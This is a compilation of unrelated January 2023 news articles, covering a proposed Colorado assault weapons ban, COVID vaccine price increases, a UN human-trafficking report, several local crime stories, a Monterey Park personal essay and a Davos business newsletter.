The draft legislation has already sparked conservative backlash and lawsuit preparation from the local branch of the National Rifle Association. While some Democratic leaders have given it tentative support, others have refrained from taking a stance  along with Democratic Gov. Jared Polis, who's been noncommittal when questioned about the bill. It has yet to get a hearing in Colorado's statehouse, which kicked off its session earlier this month.

One of the bills sponsors, Democrat Rep. Andrew Boesenecker, said there remains a long runway before the legislations introduction, with more stakeholder input to hear and potential concerns to accommodate. Boesenecker remains confident in its support, adding, I always count my votes.

To Boesenecker, an Evangelical Lutheran pastor and former music teacher and who represents a district north of Denver that includes the city of Fort Collins, the bills details will take time, but the argument is simple.

I drop off my kids at school, he said, I could no longer continue to live ... not knowing what might happen to them between that time I dropped them off and was able to pick them up.

His draft of the bill prohibits the sale, transfer, importation and manufacture of semiautomatic rifles with detachable magazines that also have one or more of a list of seven characteristics that include a pistol grip, flash suppressor, folding stock or threaded barrel. The ban would also extend to certain semiautomatic shotguns and handguns but allow some exemptions including for military personnel and police officers.

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Colorado residents who already own semiautomatic weapons would be allowed to keep them. Rapid-fire trigger activators, devices that modify a firearm's fire rate, however, are banned flat out by the bill.

Boesenecker argues that the bill would put space between someone's motivation to commit a violent act and the ready availability of a weapon to carry it out. While a federal ban would stop people from merely crossing stateliness to acquire semiautomatic firearms, he said, states really need to lead the way.

Colorado's history is pockmarked by some of the country's worst mass shootings that have killed an estimated 88 people since 2013, according to the Gun Violence Archive, which includes all shootings where at least four people were killed or injured not including the attacker. In recent years, 10 people were killed at a supermarket in the college town of Boulder in 2021 and five people slain in the shooting at Club Q in Colorado Springs in November 2022.

Authorities said suspects in both shootings used semiautomatic rifles. While the suspect in Boulder, Ahmad Al Aliwi Alissa, purchased his gun legally, police have not revealed how suspect Anderson Lee Aldrich obtained the weapon used in Colorado Springs.

The concern over mass gun violence has been heightened after California was hit by three mass shootings in eight days that have rocked the state.

In Colorado, a state that has only recently become a Democrat stronghold and has a libertarian streak, Republicans argue the bill would not just throttle Second Amendment rights but outlaw an important tool.

I think these are kind of a knee-jerk reactions, said Rep. Michael Lynch, the Republican house minority leader who said he can't see any version of the bill being palatable. I dont represent a bunch of crazy gun toting people, but its people that its more a part of their life.

Lynch pointed to rifles being used to shoot coyotes that are attacking sheep, but more important, he said, is possessing a gun for criminal deterrence. The understanding that rural Colorado residents are likely armed might make criminals think twice before seeking an easy target in areas where the sheriff's response takes half an hour, he argued.

Its not taking into consideration the rural parts of the state, Lynch said. Nobody in Denver thinks about that.

Colorado Senate President Steve Fenberg, a Democrat, said he would vote for the legislation and that he thinks most Democrats would as well. He added that it may not be the most effective public policy to save lives.

Most of the lives that are lost are not from a mass shooting event," said Fenberg, who worried that the vast majority of gun violence victims  from suicide and street violence  are overlooked by placing sole attention on mass shootings and semiautomatic firearm bans.

I think there are probably policies that could make sense to do before an assault weapon ban policy, he said.

To Fenberg, solutions include a number of other draft bills such as raising the minimum purchase age of a shotgun or rifle from 18 to 21 and strengthening red flag laws that allow law enforcement to temporarily remove someone's gun.

He said the semiautomatic weapons ban might not even be enforceable, yet we are all going to be talking about it for 100 days.

Concern over the legality of the ban comes from current lawsuits against local Colorado municipalities, including Boulder, that have passed similar firearm restrictions. Last year, a federal judge issued a temporary restraining order preventing the town of Superior from enforcing its ban.

While eight other states have semiautomatic firearm bans  California, Connecticut, Delaware, Hawaii, Maryland, Massachusetts, New Jersey and New York  according to Giffords Law Center, Illinois' ban that was just passed this month is facing legal challenges after a judge also issued a temporary restraining order.

Daniel Fenlason, executive director of the Colorado State Shooting Association, said his organization is gathering donations from supporters in anticipation of a court battle and is drawing on support from its parent organization, the National Rifle Association.

"This bill hits almost every type of gun owner," said Fenlason, who said he hopes for pushback from more center-of-the-road Democrats and the governor. I think that a lot of the leaders in the Democratic Party see that and dont want to negatively affect hunters or single moms trying to protect their family.

Colorado House Speaker Rep. Julie McCluskie, a Democrat, told reporters she doesn't yet have a stance on the draft bill. Rep. Monica Duran, the Democratic house majority leader, said she also doesn't yet hold a position, but added, I may have some questions, to be honest with you.

Polis, who has proclaimed his support for expanding red flag laws, has avoided questions about his stance on the semiautomatic firearm ban. The governor sponsored a federal semiautomatic gun ban as a congressman in 2018.

Asked about the proposal, Conor Cahill, spokesperson for Polis, again avoided taking a stance, saying only in a statement that the governor looks forward to hearing about additional ideas from Democrats and Republicans on effectively reducing violent crime.
Doses of the Moderna COVID-19 vaccine wait to be administered at a clinic. Until now, the government has covered all the costs for the shots. Soon, you'll be paying more. (Eli Hartman / Associated Press)

Stephane Bancel, the chief executive of drug company Moderna, could barely restrain his pride in issuing his annual letter to shareholders on Jan. 3.

"Since the beginning, it has been our mission to deliver on the promise of mRNA technology for patients," Bancel wrote, referring to the vaccines in the company's product pipeline that use short pieces of genetic code to help cells build immunity.

"And we delivered at speed with our mRNA vaccine against COVID-19," he continued. "As our first approved product, it has impacted hundreds of millions of lives around the world. ... We are harnessing the power of mRNA to create a new category of medicines and a company that maximizes its impact on human health."

Moderna is committed to pricing that reflects the value that COVID-19 vaccines bring to patients, healthcare systems, and society.

Moderna spokesman Christopher Ridley

A couple of pertinent points were missing from Bancel's 2,700 words of self-congratulation. One was the contribution of the federal government to the company's success.

That included a research grant of almost $1 billion from the government's Biomedical Advanced Research and Development Authority, or BARDA, through 2020, plus a $1.5-billion federal purchase guarantee in 2020 for COVID vaccines before testing was even completed  a deal that materially reduced Moderna's financial risks in developing the vaccine.

Nor does it count the millions, possibly billions, in federally funded basic research at academic institutions and government laboratories in mRNA technology  the foundation of the product developed by Moderna.

Also glossed over was Moderna's intention to raise the price of its COVID vaccine from the estimated $20.69 per dose paid by the federal government through December 2022 (for 1.2 billion doses of COVID vaccines, including Moderna's product and a similar mRNA formulation produced by Pfizer), to as much as $130 per dose.

Pfizer, which did not receive federal research funding but did obtain a government purchase guarantee, has also announced a price increase to as much as $130 per dose.

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Pfizer's vaccine also derives from basic government-funded research; indeed, on its website the company acknowledges the foundational work on mRNA technology by Katalin Kariko and Drew Weissman of the University of Pennsylvania, research that was funded in part by the National Institutes of Health.

Both companies have justified the planned price hikes in part by citing the savings in healthcare costs the vaccines have produced.

In an email, a Pfizer spokesman told me that its vaccine and other therapies have "saved hundreds of thousands of lives [and] tens of billions of dollars in health care costs." Pfizer "has priced the vaccine to ensure the price is consistent with the value delivered," the email said.

Moderna makes a similar point. "Moderna is committed to pricing that reflects the value that COVID-19 vaccines bring to patients, healthcare systems, and society," company spokesman Christopher Ridley said by email.

It's impossible to overstate the moral depravity of this argument. The companies are saying, in essence, that they deserve a cut of the savings in lives and money attributable to their products, and they'll decide the size of that cut for themselves  independent of considerations such as the cost of developing and manufacturing the drugs or the effect that higher prices will have on patients' access.

The COVID vaccines have sharply reduced mortality rates from the pandemic across the board. (U.S. Centers for Disease Control and Prevention)

No industry other than pharmaceuticals asserts that its prices should be based on the higher costs of alternatives, but it's a familiar factor in drug pricing. Gilead Sciences, for instance, set the price of Sovaldi and Harvoni, its hepatitis C treatments, above $80,000 for a 12-week course based on the drugs' "value premium"  the higher cost of alternative treatments.

After a U.S. Senate committee issued a blistering report about Gilead's pricing strategy, the company stated that the drugs were "priced in line with the previous standards of care" and that the prices "are less than the cost of prior regimens, even though our therapies have significantly higher cure rates and very few side effects."

The price increases of the Pfizer and Moderna vaccines almost inevitably will translate into lower vaccination rates, even as executives at both vaccine companies assert that the price increases will be invisible to most Americans.

"Anyone with commercial or government insurance who is eligible to be vaccinated should be able to access the vaccine without any out-of-pocket payments," Pfizer executive Angela Lukin told Wall Street analysts on a conference call Oct. 20, when the company announced its proposed list price of $110 to $130 per dose.

That's highly misleading, however. Underinsured or uninsured Americans could be charged the full price, which would put the vaccine beyond their ability to pay. To the extent insurers or Medicare and Medicaid would shoulder most of the cost for their enrollees, it could be reflected in higher premiums.

Pfizer says that some uninsured Americans will be eligible for the company's patient assistance program, which covers some co-pays for its drugs. But that program requires an application and considerable paperwork; it's no substitute for walking into a pharmacy and receiving the shot on request, as has been possible through the government program.

Make no mistake: This is a public health issue. The government's COVID vaccination program prevented more than 18.5 million excess hospitalizations and 3.2 million excess deaths, according to research by the Commonwealth Fund.

"Without vaccination, there would have been nearly 120 million more COVID-19 infections," estimated the fund, which also calculated that the vaccination program "saved the U.S. $1.15 trillion ... in medical costs that would otherwise have been incurred.

Government statistics plainly show that vaccinated individuals have a sharply reduced COVID-related mortality rate, with the gains multiplying for patients who are fully vaccinated and boosted.

Even though there's no question that the vaccines have saved society money and lives, that leaves the question of how much in profits the manufacturers deserve to reap from them  as well as how to calculate the cost of reduced access to these products due to higher prices.

The list-price increases are only part of the story. The other side of the coin is the profit margin Moderna and Pfizer expect to see from the vaccines. According to an analysis by Oxfam, the mRNA vaccines could be produced for as little as $1.18 to $2.85 per dose, meaning that even at the government price the companies were collecting enormous profits.

There would appear to be plenty of headroom for Moderna and Pfizer to profit from the vaccines even at lower prices. Pfizer has projected annual sales of its vaccine at $34 billion and Moderna at $18 billion to $19 billion. Those estimates were based on 2022 sales, before price increases take effect. Government authorities have started to talk about a regime of annual COVID vaccine boosters, similar to flu vaccines, implying a steady stream of revenue for the companies for years to come.

The price increases reflect what Moderna and Pfizer both refer to as the transition to commercial marketing of the vaccines. That's necessary because the federal government has run out of money to buy doses and distribute them for free. Last year, President Biden asked Congress for $3.9 billion "to help ensure ready access to vaccinations, testing, treatment and operational support" for Americans. He didn't get it.

The effect of federal funding for Moderna has been stupendous  and a large proportion of that gain has flowed directly to shareholders. According to the company's most recent quarterly report, the company spent $2.1 billion on research and development in the first nine months of 2022. But it spent $2.9 billion in the same period on stock buybacks, which pump up the value of its stock.

Those repurchases were part of $6 billion in stock buybacks authorized last year by the Moderna board, of which more than $3 billion remains available. Basic math tells you that had Moderna not received its more than $1 billion in R&D assistance from the government, it would have had at least that much less to upstream to shareholders.

As I've written before, it's the cowardice of political leaders and government regulators that allows drug firms such as Moderna and Pfizer to dictate higher prices for products developed in part with government funding.

The government arguably has authority over pricing and distribution of products developed with federal funding, such as the COVID vaccines. The key factor is the Bayh-Dole Act of 1980, which allowed private companies to commercialize inventions that grew out of federally funded research, but it reserved certain rights for the government to protect taxpayers investments.

Chief among them are march-in rights. These allow the government to require that a federally funded drug be licensed to other manufacturers, or to offer a license itself to alternative drugmakers to ensure that the drug is widely accessible. Those rights can be exercised if the government concludes that a manufacturer hasnt taken sufficient steps to make a product publicly available or hasnt brought it out on terms that are reasonable.

The government has never exercised its march-in rights, though it has occasionally threatened to do so to extract concessions from manufacturers. But as drug prices skyrocket, pressure on federal authorities to take action is intensifying.

Prostate cancer patients, for instance, have been pressing the Department of Health and Human Services to take action on Xtandi, a wonder drug for the disease that was developed at UCLA with substantial funding from the Pentagon and the National Institutes of Health.

The average wholesale price of Xtandi, for which Pfizer holds a manufacturing license, comes to $189,800 a year. (UCLA had collected more than $520 million in royalties from the drug when it sold the rights in 2016.) To date, Health and Human Services has failed even to hold a hearing on a year-old petition by prostate cancer patients aimed at bringing the drug price down by exercising march-in rights.

The COVID vaccines could be another test case. Few drugs on the market today can match their capacity to advance public health and few may be as sensitive to the level of price increases planned by Moderna and Pfizer.

This is a subject on which the federal government cannot and should not remain silent.

This story originally appeared in Los Angeles Times.
A community is rallying around the family of a beloved Charlotte restaurant owner who was killed in a crash earlier this month in southeast Charlotte.

Tecle Gebremussie was a welcoming and kind person, said his patrons and longtime supporters of the Red Sea Restaurant and Bar.

ALSO READ: 1 year later, family of slain sandwich shop owner grateful for support

Many say he would do anything for anyone, often offering up his restaurants space for community meetings and providing food for large events in the area.

He was always so nice and always willing to jump in to help, said Liz Millsaps Haigler, a longtime Oakhurst resident.

She would often see Gebremussie, whom many called T, at community meetings. Millsaps Haigler said she was proud when he moved his restaurant to the Oakhurst neighborhood from Elizabeth.

Red Sea Eritrean & Ethiopian restaurant and the Gebremussie Family need our support  Tecle Gebremussie was killed in a car accident on Independence Blvd earlier this month. He is survived by his wife and children, who intend to continue running the restaurant on Monroe Rd. 1/2 pic.twitter.com/i5VZlaafrV  MoRA - Monroe Road Advocates (@MoRACLT) January 23, 2023

Other patrons remembered his poise and stoic persona when they entered his Eritrean and Ethiopian restaurant on Monroe Road.

He would just greet you right away. He was just awesome, said Crystal Crosby, a regular customer.

Crosby said Red Sea is her favorite restaurant because of the food and the atmosphere it offers, which is full of culture, music, and conversation. She said that was all thanks to Gebremussie who made it that way.

He didnt just touch a city, he touched continents, she said. I loved him. We all loved him.

Gebremussies wife told Channel 9 that he died after a car crash on Jan. 6 on East Independence Boulevard while on the way to his restaurant from Sams Club.

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She said she knew something was wrong when she got a call from a group that had reserved a table for lunch. There was nobody at the restaurant to let the customers in.

After going to the restaurant and seating the customers, she told her daughter to start calling local hospitals. Staff from one of the hospitals called them back and said Gebremussie was there after a bad wreck.

Gebremussies wife said they went to the hospital and were with him when he took his final breath.

Its a tragedy his family and patrons are still grappling with.

I mean, its heartbreaking, said Crosby.

Its tough because he was the face of the restaurant, Millsaps Haigler added.

Millsaps Haigler got to know Gebremussie and helped him write a biography for a local publication, she said.

Millsaps Haigler said he immigrated to the U.S. in the 1990s and arrived in Charlotte in 1999. Two years later, he opened Red Sea in Elizabeth in 2001 before moving it years later to Monroe Road.

With perseverance and a hard-work ethic, Millsaps Haigler said Gebremussie lived out the American dream.

Now, she and others in the community are keeping that dream alive and are rallying around his wife and children who plan to continue operating the restaurant in Gebremussies honor.

His family would really appreciate it if you came and dined with them again, Millsaps Haigler said.

Theres a GoFundMe page that was created to support his family.

VIDEO: Weve been here 30 years: Restaurants continue to struggle post-pandemic
VIENNA, Jan 24 (Reuters) - The COVID-19 pandemic led to the first drop in the known number of human-trafficking victims in 20 years as trafficking opportunities and policing were reduced, but the Ukraine war has probably now caused a new surge, a U.N. report said on Tuesday.

The number of detected trafficking victims fell 11% in 2020, the most recent year for which data is available in most countries, the United Nations Office on Drugs and Crime (UNODC) said in its seventh Global Report on Trafficking in Persons.

"In 2020, for the first time, the number of victims detected globally decreased," the UNODC said in a summary of the report, adding that the biggest drops were reported in low- and middle-income countries, particularly in south and central America but also sub-Saharan Africa, east Asia and the Pacific region.

"This change in trends could be the result of three different factors affecting especially low- and medium- income countries during the pandemic: lower institutional capacity to detect victims, fewer opportunities for traffickers to operate due to COVID-19 preventive restrictions, and some trafficking forms moving to more hidden and less likely to be detected locations," it said.

Initial data for 2021 from just 20 countries suggests a further fall in 2021 in parts of southeast Asia, central America and the Caribbean, it said.

Trafficking for sexual exploitation saw the sharpest drop of 24%. For the first time since the UNODC started collecting data, detected trafficking in this category as a percentage of the whole was roughly the same level as that of trafficking for forced labour, at around 39% each, the report said.

"Sexual exploitation may have reduced due to the (pandemic-related) closure of public spaces and it may have also been pushed into less visible and less safe locations, making this form of trafficking more concealed and harder to be detected," the UNODC said.

Conflicts tend to increase trafficking and the war in Ukraine is unlikely to be an exception, it added.

"The refugee emergency in Ukraine is elevating risks of trafficking for the Ukrainian displaced population. The 2014 conflict in Ukraine quadrupled the number of Ukrainian victims detected in Western Europe in 2016," it said, referring to Russia's annexation of Crimea.

It expects an even larger number of trafficking victims following Russia's invasion of Ukraine last year, it added. (Reporting by Francois Murphy. Editing by Sharon Singleton)
A federal judge on Monday sentenced a man to a year in prison for transporting Mexican citizens smuggled into the U.S. after he threatened the Sacramento family of one migrant over a pay dispute, prosecutors said.

Mateo Gomez Gonzalez, 29, of Mexico, was sentenced for unlawful transportation of noncitizens without status, the U.S. Attorneys Office in Sacramento announced in a news release. Gomez, who was identified by prosecutors as a human smuggler also known as a coyote, pleaded guilty to the federal charge on Oct. 24.

On Sept. 28, a Sacramento resident called law enforcement officials to report his relative and a family friend were being held against their will over a payment dispute in a human smuggling operation.

Prosecutors said the driver of a vehicle, later identified as Gomez, was threatening to drop the relative and the family friend at an unknown stash house rather than to the awaiting family members if additional payment was not made.

Gomez was part of a smuggling ring that brought people from Mexico into the country through Texas, New Mexico, Arizona and California, according to a criminal complaint filed Oct. 3 in federal court.

The migrants told authorities that they first encountered Gomez when he began driving them from Albuquerque, New Mexico. He refused to turn over the two migrants unless he was paid twice as much as he had arranged for delivering them to Sacramento, according to the filed court document.

In response to the tip, law enforcement officials found a gray Honda Pilot with Arizona license plates at a gas station near the Yolo County town of Dunnigan. Authorities found four passengers in the vehicle who had entered the country illegally, and they arrested Gomez.
JaMal Green is a community activist and entrepreneur who made a name for himself during the protests over the Chicago police murder of Laquan McDonald. Green previously ran for mayor in 2019 until withdrawing amid a challenge to his signatures, and he remains the youngest candidate during this election cycle. In 2020, he demonstrated against Chase Banks lending practices among the Black community, earning a ban for the establishments branch locations  but also a promise from the bank to increase mortgage lending to Black and Latino families by $600 million over five years. He grew up in the Gresham and Lawndale neighborhoods and has spoken about witnessing gun violence firsthand. Green has sought to use his lack of government experience as an advantage, running an anti-political establishment campaign.

Age: 27

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Born: Chicago

Personal: Lives with partner, raising three sons

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Education: Wendell Phillips Academy High School, with some college

Neighborhood: Beverly

Current job: Community activist, president of the nonprofit My Turn To Own, CEO of consulting firm Majostee Marketing

Government experience: Has not held elected office

Political experience: Surrogate for Sen. Bernie Sanders 2016 and 2020 presidential campaigns

Campaign slogan: A future we can all believe in

Campaign website: gogreenchicago.com

Greens responses to Tribune candidate questionnaire: Click here

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Other candidates questionnaire responses: Click here

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Searches have been going on in the homes of Crimean Tatars since 04:00 in the Dzhankoi district of temporarily occupied Crimea.

Source: Crimean Solidarity

Quote: "New searches have been going on in the homes of Crimean Tatars since 04:00. Residents of the Dzhankoi district have reported noticing secret services at a few addresses."

Details: Presumably, the searches concerned Ekrem Krosh, who is the brother of Enver Krosh, a political prisoner.

The Crimean Solidarity has reported, citing relatives, that "Ekrems wife called at 03:57 and said that someone was knocking on the gate with a demand to open it"; the connection was lost after that.

Moreover, there are searches in the house of Osman Abdurazakov, who is a brother of Edem Bekirov, a political prisoner from the Dzhankoi group. And in the houses of several more Crimean Tatars: Aider Asanov, Refat Seidametov, Leman Zekiriaiev and Khalil Mambetov.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!
A 17-year-old boy and his 19-year-old brother have been arrested in the weekend fatal shooting of a man in Garland, Garland police said Tuesday.

A second person also was critically injured in the Saturday afternoon shooting.

The motive for the offense has not been determined.

Garland police identified the suspects as Christopher Sagrero 17, and Jose Sagrero 19, both from Garland. The two who were arrested Saturday are expected to be charged with murder in the case.

Garland police responded to the shooting call just before 4:30 p.m. Saturday in the 400 block of S. Forest Creek Drive after a 911 caller reported that multiple people had been shot and that the suspects involved had left the area.

Police did not release any information on a motive for the shooting.

Once they arrived, officers learned that one victim had left the scene and had been transported to a local hospital by private means. The second victim was transported to a local hospital by Garland paramedics. Both were listed in critical condition.

On Monday, Garland police were informed that one of the victims had died. Police identified the victim as 24-year-old Moises Flores of Dallas.

The second victim is still in the hospital, his current condition is unknown.
After police tape was taken down, curious bystanders view the crime scene inside the Star Dance Studio Ballroom in Monterey Park, Calif. on Jan. 22. Credit - Allen J. SchabenLos Angeles Times/Getty Images

Mommy and I are taking a ballroom-dancing class, my father announced to me over the phone.

Are you serious? I asked. I was living in Iowa at the time, in graduate school.

Yes, he said. And I am so bad! The teacher danced with Mommy most of the time because I got tired. I will try better next week.

My mind was still trying to visualize his first statement: my parents dancing. Aside from the occasional family wedding reception, Id never seen them dance, separately or together. Even then, theyd awkwardly sway in the cocooned safety of a crowd, and often ceded the dance floor to more graceful couples, like my aunt and uncle from Texas, who were regular weekend ballroom dancers.

Although my parents had firmly settled into retirement, and ballroom dancing was a popular leisure activity in their demographic and community in Orange County, Calif., it still felt like an odd fit for their personalities. To dance required qualities I couldnt imagine in them: confidence, spontaneity, and an utter lack of regard for what other people thought of them.

Since arriving in America shortly before the end of the war in Vietnam, my parents had perfected their ability to linger in the margins of American suburban society. As part of the first wave of Vietnamese refugees, they learned the necessary skills to survive and assimilate. They studied English, they softened their accents, they acquired graduate degrees and respectable jobs. They got a mortgage, paid their taxes, and put two children through school so they could earn their own graduate degrees. They became U.S. citizens. Yet for decades, despite all their labor and accomplishments, my parents denied themselves the social privileges and amusements that other Americans around them engaged in for relaxation.

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Read More: These Are the Victims of the Monterey Park Shooting

They did not volunteer for the neighborhood associations or PTA. They did not host or attend housewarming parties or summer barbecues or vacation with friends. And they certainly did not dance.

Why not? I imagine them counting all the reasons, pointing to the various dramas and crises in our familys history. Our home was the entry point for many of our relatives immigrating to America, with aunts, uncles, and cousins arriving from Vietnam, and then leaving to resettle in other parts of the country. My father returned to medical school, though he ultimately never practiced medicine. Then there were the logistics of caring for my aging grandparents, followed by aunts, but strangely never uncles, falling sick themselves.

It wasnt all stress. On the weekends, my parents relaxed in front of the television, watching Paris by Night, a Vietnamese variety show of lavish music and dance numbers, and old movies on VHS. My father especially loved MGM musicals, which hed watched as a teenager back in Vietnam. Our favorites were Singing in the Rain and An American in Paris. We marveled at the choreography and spectacle. We agreed that while Fred Astaire and Ginger Rogers were superior technical dancers, Gene Kelly and Leslie Caron looked more romantic. They also had black hair, and if we squinted at the screen, we could imagine they were not so different from us.

When I was 6, my mother enrolled me in ballet classes, perhaps hoping to instill the confidence and grace shed been denied. I danced for the next nine years, even though I had little flexibility and a poor turnout. When I turned 12, my mother signed me up for cotillion lessons hosted at a country club we didnt belong to at the top of a hill. Every weekend, she carefully drove me up and down the winding roads so I could learn how to waltz and foxtrot.

I do not recall the steps of any of those dances. Instead, I remember how my mother sat in the corner of the ballroom, cleaning out her purse, waiting for my lesson to finish.

Read More: Rep. Judy Chu on the Mass Shooting That Shattered Lunar New Year Joy in Her Hometown

If my brother and I had ever bothered to ask my parents why they never did anything for themselves, they would have said theyd rather watch us have fun. And I believe thats true. But what theyd never admit, what I can only see now, as a parent myself, is that they didnt believe they deserved these opportunities. Not until they knew their children were grown and settled could they feel secure enough to finally do something for themselves.

It is what I imagine many senior Asian Americans in ballroom dance halls across this country must feel every time they dress up in their fanciest clothes and step on the dance floor, holding the hands of their loved ones. After decades of sacrificing for their families, they finally feel safe enough to indulge in a small pleasure of their own. To dance with grace is to move without burden or responsibility. It is to feel light and free from pain or fear or guilt.

As details of the Monterey Park tragedy continue to emerge, that the shootings occurred at a dance hall, primarily filled with older Asian Americans gathering to celebrate the Lunar New Year, perhaps for the first time since the pandemic, I immediately thought of my parents, my relatives, and countless others who considered these places a respite from the sorrows and frustrations of the real world. I hope that the hateful act of one person will not discourage them from returning, from continuing to seek joy and create happier memories, and I believe it wont. Given all theyve been through in their lives, they are too resilient. Theyve survived loss and suffering before, and they will again.

I wish I could say my parents took classes and danced for years, enjoying a retirement theyd so richly deserved and earned. Instead, a few months after they started, my father began showing symptoms of Alzheimers, and the classes drifted away, my parents moving on to the next stage of their lives together.

The author and her father, dancing together at Phan's wedding in 2006. Craig Mitchelldyer

My father and I danced together only a few times, at my brothers wedding, and six months later, at mine. There were no fancy moves or dips or swings, only swaying, my father remarking with wonder how he felt both sadness and joy in his heart that evening.

Isnt it funny I feel both? he asked.
This article first appeared in the Morning Brief. Get the Morning Brief sent directly to your inbox every Monday to Friday by 6:30 a.m. ET. Subscribe

Tuesday, January 24, 2023

Today's newsletter is by Julie Hyman, anchor and correspondent at Yahoo Finance. Follow Julie on Twitter @juleshyman. Read this and more market news on the go with the Yahoo Finance App.

One of the regular charges leveled at participants of the World Economic Forum in Davos is they talk a big game on climate change... then fly to Zurich on private jets.

The WEF has said it offsets all of that travel by buying carbon credits. Some CEOs have responded by flying commercial, which has a lower carbon footprint.

But the executives and world leaders we spoke to last week did seem increasingly aware of how they're perceived outside of their bubble in the Swiss Alps, and are making some attempts to address those perceptions.

As my colleague Brian Sozzi wrote in yesterday's Morning Brief, those attending the World Economic Forum didn't pay Elon Musk much mind, even though Musk again took shots at the annual gathering.

Ignoring the antagonistic billionaire, however, doesn't mean the proceedings in Davos haven't taken on a new air of self-awareness about this annual gathering of the global elite.

"It's something that people are very conscious of now and becoming more so," S&P Global CEO Doug Peterson told us in Davos. Peterson said he flies commercial for international travel. The Yahoo Finance team shared a commercial flight with another top U.S. CEO on the way back to the States this weekend.

A view of the Zurich Kloten Airport upon the arrival of the private and VIP planes of the participants within the World Economic Forum (WEF) annual meeting held in Davos, in Zurich, Switzerland on January 17, 2023. (Photo by Michele Crameri/Anadolu Agency via Getty Images)

But it's not just internet trolls or climate activists like Greta Thunberg whose voices have risen to the altitude where CEOs reside. Executives told Yahoo Finance are hearing from their home communities and employees they expect corporations to be good partners.

"We live in a world today where our employees want to know us as humans," Cisco CEO Chuck Robbins said. "Our employees really care about culture. They care about your purpose. In fact, if you look at some of the latest surveys, employees will tell you that salary's not number one anymore."

Story continues

Tech executives, in particular, are acutely aware of the optics of throwing lavish Davos parties while cutting spending at home. Cloudflare CEO Matthew Prince decided to tone it down this year, opting not to hold the company's typical hot-ticket party. (Cloudflare did still sponsor a popular piano bar.)

"It just didn't seem like the right year to be celebrating," Prince said. "When we see a lot of companies laying people off, when we see people in the tech industry really struggling, the idea of flying in a big performer, spending a ton of money on a lavish party, didn't make a bunch of sense."

Prince seemed to be throwing shade at Microsoft, which reportedly hosted Sting and 50 attendees at a party early in the week before news broke the company was laying off 10,000 people.

Salesforce also held a party whose coveted invites were hard to come by, and which featured a performance by The Pretenders' frontwoman Chrissie Hynde.

But this party was sandwiched between layoff news earlier this month and the revelation Monday that activists Elliott Management and Jeff Ubbens Inclusive Capital had taken stakes in the software giant. Investors, too, have noticed the disconnect. And perhaps sense an opening.

These sorts of parties  some of them with putative themes like sustainability  are designed to illustrate that Davos is not a sinister meeting of a dark cabal of global executives, political leaders, and non-governmental organizations, but is a chance for high-flyers to get a lot of facetime with their counterparts in a concentrated period.

This year's conference also showed, to sometimes awkward effect, that CEOs are trying to straddle a tricky line between business and philanthropy, one challenge of so-called stakeholder capitalism.

BlackRock CEO Larry Fink, who has pushed his enormous money management firm further into ESG investing, has been attacked by activists on both sides for going too far and not going far enough.

"The attacks are now personal," Fink said during a panel last week.

What does all this Davos self-awareness and sensitivity mean for investors?

Likely more caution and guardedness from companies and their leaders.

With the global economy slowing  and there was lively debate among Davos execs about just how much  expect a bit more tact from Corporate America 2023. And not just on their balance sheets, but managing their public images, too.

What to Watch Today

Economy

8:30 a.m. ET: Philadelphia Fed Non-Manufacturing Activity , January (-17 during prior month, revised to -12.8)

9:45 a.m. ET: S&P Global U.S. Manufacturing PMI , January Preliminary (46.0 expected, 46.2 during prior month)

9:45 a.m. ET: S&P Global U.S. Services PMI , January Preliminary (45.3 expected, 44.7 during prior month)

9:45 a.m. ET: S&P Global U.S. Composite PMI , January Preliminary (46.4 expected, 45.0 during prior month)

10:00 a.m. ET: Richmond Fed Manufacturing Index , January (-5 expected, 1 during prior month)

10:00 a.m. ET: Richmond Fed Business Conditions, January (-14 during prior month)

Earnings

Microsoft Corporation (MSFT), 3M (MMM), Johnson & Johnson (JNJ), Hasbro (HAS), Halliburton (HAL), Lockheed Martin (LMT), Verizon Communications (VZ), Lockheed Martin (LMT), General Electric (GE), The Travelers Companies (TRV), Capital One Financial (COF), Texas Instruments (TXN)



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Alexander Bello-Ortiz

The Daytona Beach Police Department has reopened its investigation into an Embry-Riddle Aeronautical University students death, which was initially ruled a suicide.

In a federal lawsuit, the student's family claims he was killed by a roommate who also attended the university.

Alexander Bello-Ortiz was found with a gunshot wound to the head on Sept. 6, 2020, in his bedroom in a home at 941 Vernon St., according to a police report. A rifle was found on the floor nearby and a single .22-caliber shell casing was found about 4 feet from a pool of blood, the report stated.

Bello-Ortiz was taken to Halifax Health Medical Center in Daytona Beach. He showed no brain activity. The following day, Bello-Ortiz was declared dead and his family planned to donate his organs, according to the report.

Bello-Ortiz, 22, attended ERAU and served as a United States Air Force Reserve Officer training corps cadet. An online obituary stated Bello-Ortiz was born in Fairfax, Virginia, and described him as an overall amazing, kind-hearted, optimistic and joyful individual. Alex will be missed dearly by all who knew him.

Detectives did not find the death to be suspicious and the medical examiners office ruled it a suicide, according to the report.

But on Sept. 6, 2022, the young man's parents, Maria Lourdes Ortiz and Harold Dolph, filed a federal lawsuit against John Burlein, Bello-Ortiz's roommate; Burlein's father, Joseph Burlein; and others.

The lawsuit claims that John Burlein shot Bello-Ortiz and then called his father, Joseph Burlein, a retired Air Force captain.

On the phone, moments after (the shooting) occurred, John admitted to his father that he shot Alex, according to the lawsuit.

The lawsuit states that Joseph Burlein directed John to reposition the gun and tell an accompanying story to make Alexs shooting look like a suicide.

"More than five minutes after shooting Alex, John finally called 911 to falsely report that Alex had allegedly collapsed at home while Alex was alone in his room, according to the lawsuit.

Story continues

To this day, John Burlein has not been arrested or prosecuted for admittedly murdering Alexander Bello-Ortiz," the lawsuit states. "Nor has anyone been brought to justice for their role in the coverup or conspiracy.

In a response to the lawsuit in federal court, John Burlein and Joseph Burlein stated there was no coverup or conspiracy and John Burlein said he did not commit a crime. The response described the death as a "tragic suicide."

The lawsuit also states that John Burlein, from Titusville, and Robert Kramer, from California, were both Air Force ROTC cadets and moved in with Alex Bello-Ortiz in August 2020.

The lawsuit states that less than a month after moving in, John Burlein began causing problems.

Johns animosity and threats toward Alex are captured in audio and video from cameras around the Vernon Street home, according to the lawsuit.

As tensions rose, Bello-Ortiz expressed concerns to his family.

According to the lawsuit, Bello-Ortiz disapproved of John Burlein using drugs in the home and bringing his drug-using friends to the home.

The day Bello-Ortiz was shot

The lawsuit states that John Burlein and his friend, Henry Lax, were caught on a house security camera conspiring to break into Bello-Ortiz's room and steal a rifle that Bello-Ortiz had been keeping for an acquaintance.

On Sept. 6, around 11:43 a.m., roommate Robert Kramer went out for a jog and John Burlein stayed home. Within minutes, Bello-Ortiz and Burlein began to argue, escalating to a physical confrontation, the lawsuit states.

Alex pleaded to John to get off him, the lawsuit stats.

